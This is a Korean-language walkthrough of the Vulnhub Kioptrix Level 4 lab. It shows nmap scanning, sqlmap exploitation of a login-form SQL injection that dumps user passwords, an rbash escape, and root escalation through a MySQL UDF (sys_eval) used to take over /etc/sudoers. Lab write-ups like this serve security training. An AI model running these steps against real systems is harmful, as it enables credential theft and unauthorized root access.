Vulnhub Kioptrix Level 4 - MySQL UDF 수동 권한 상승

정보 수집

nmap을 사용하여 대상 호스트를 식별하고 열린 포트를 스캔합니다.

nmap -sP 192.168.128.0/24
nmap -P- 192.168.128.135
nmap -min-rate 10000 -sV -sC -O 192.168.128.135

nmap 스캔 결과

디렉터리 스캐너를 사용하여 웹 서버의 엔드포인트를 탐색합니다.

dirsearch -u http://192.168.128.135

dirsearch 결과

웹 페이지1

웹 페이지2

웹 페이지는 로그인 폼을 포함하고 있습니다. 비밀번호 필드에서 SQL 인젝션 취약점이 발견되었습니다.

SQL 인젝션 발견

SQL 인젝션 활용

SQLMap을 사용하여 데이터베이스 덤프를 수행합니다.

sqlmap -r /root/vulhub/kioptrix/kioptrixlevel4/sqlpost.txt --batch --dbs
sqlmap -r /root/vulhub/kioptrix/kioptrixlevel4/sqlpost.txt --batch -D members -T members
sqlmap -r /root/vulhub/kioptrix/kioptrixlevel4/sqlpost.txt --batch -D members -T members --dump

SQLMap 결과1

SQLMap 결과2

SQLMap 결과3

ID Username Password
1 john MyNameIsJohn
2 robert ADGAdsafdfwt4gadfga==

SQLMap 덤프

로그인 성공

SSH 접속 및 제한된 쉘 우회

획득한 자격 증명을 사용하여 SSH로 접속합니다. 두 계정 모두 접속 가능하며, 제한된 쉘(rbash)이 적용되어 있습니다.

SSH 접속

rbash를 우회하기 위해 다음 명령어를 시도할 수 있습니다.

ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss robert@192.168.128.135 -t "/bin/sh"

또는 Python을 사용하여 우회합니다.

echo os.system("/bin/bash")
ls os.system("/bin/bash")

rbash 우회

실행 중인 프로세스를 확인합니다.

ps

프로세스 목록

권한 상승: MySQL UDF 활용

정보 수집

sudo 명령어를 사용할 수 없으며, SUID 비트가 설정된 바이너리도 권한 상승에 사용할 수 없습니다. 실행 중인 MySQL 프로세스를 발견하고 비밀번호 없이 접속을 시도합니다.

mysql -u root -p

MySQL 무비밀번호 접속

MySQL 접속 성공

UDF(사용자 정의 함수)를 사용한 권한 상승

UDF는 MySQL에서 사용자 정의 함수를 생성할 수 있게 해줍니다. UDF 권한 상승은 악의적인 공유 라이브러리(SO 파일)를 MySQL에 로드하여 시스템 명령어를 실행하는 기술입니다.

작동 방식:

  1. 공격자는 SQL 인젝션 등을 통해 파일을 쓸 수 있는 위치를 찾아 악의적인 공유 라이브러리를 업로드합니다.
  2. 해당 라이브러리에는 시스템 명령어를 실행할 수 있는 함수(예: sys_exec)가 포함되어 있습니다.
  3. CREATE FUNCTION 명령어로 MySQL에 함수를 등록합니다.
  4. 생성된 함수를 호출하여 시스템 명령어를 실행합니다.

UDF 라이브러리 찾기 및 함수 생성

로컬 시스템에서 UDF 라이브러리 파일을 찾습니다.

john@Kioptrix4:~$ whereis lib_mysqludf_sys.so
lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so

MySQL에 접속하여 mysql 데이터베이스를 사용하고 함수를 생성합니다.

mysql> use mysql;
mysql> create function sys_eval returns string soname 'lib_mysqludf_sys.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root               |
+--------------------+
1 row in set (0.00 sec)

whoami 명령어가 root를 반환하여, sys_eval 함수가 root 권한으로 실행되고 있음을 확인합니다.

sudoers 파일 권한 변경

/etc/sudoers 파일의 소유권을 john 사용자로 변경합니다.

mysql> select sys_eval('chown -R john:john /etc/sudoers');
+---------------------------------------------+
| sys_eval('chown -R john:john /etc/sudoers') |
+---------------------------------------------+
|                                             |
+---------------------------------------------+
1 row in set (0.00 sec)

변경 사항을 확인합니다.

john@Kioptrix4:~$ ls -la /etc | grep sudoers
-r--r-----  1 john john    557 2012-02-04 09:58 sudoers

sudoers 파일의 소유자가 john으로 변경되었습니다. 파일의 권한을 수정하여 john이 편집할 수 있도록 합니다.

john@Kioptrix4:~$ chmod +w /etc/sudoers

sudoers 권한 변경

sudoers 파일 설정 및 문제 해결

sudo -l 명령어를 실행하면 파일 권한이 잘못되었다는 오류가 발생합니다.

john@Kioptrix4:~$ sudo -l
sudo: /etc/sudoers is mode 0640, should be 0440
sudo: /etc/sudoers is owned by uid 1001, should be 0

파일 권한을 올바르게 설정합니다.

john@Kioptrix4:~$ chmod 0440 /etc/sudoers

/etc/sudoers 파일의 소유권을 다시 root로 되돌립니다.

mysql> select sys_eval('chown -R root:root /etc/sudoers');
+---------------------------------------------+
| sys_eval('chown -R root:root /etc/sudoers') |
+---------------------------------------------+
|                                             |
+---------------------------------------------+
1 row in set (0.00 sec)

sudoers 복구

성공적으로 sudo 명령어를 사용할 수 있게 되면, /etc/sudoers 파일에 john 사용자에 대한 ALL 권한을 추가하여 모든 명령어를 sudo로 실행할 수 있습니다. 이후 sudo su - 명령어로 root 사용자로 전환하여 최종 권한 상승을 완료합니다.

태그: vulnhub kioptrix MySQL UDF 권한 상승

5월 30일 02:03에 게시됨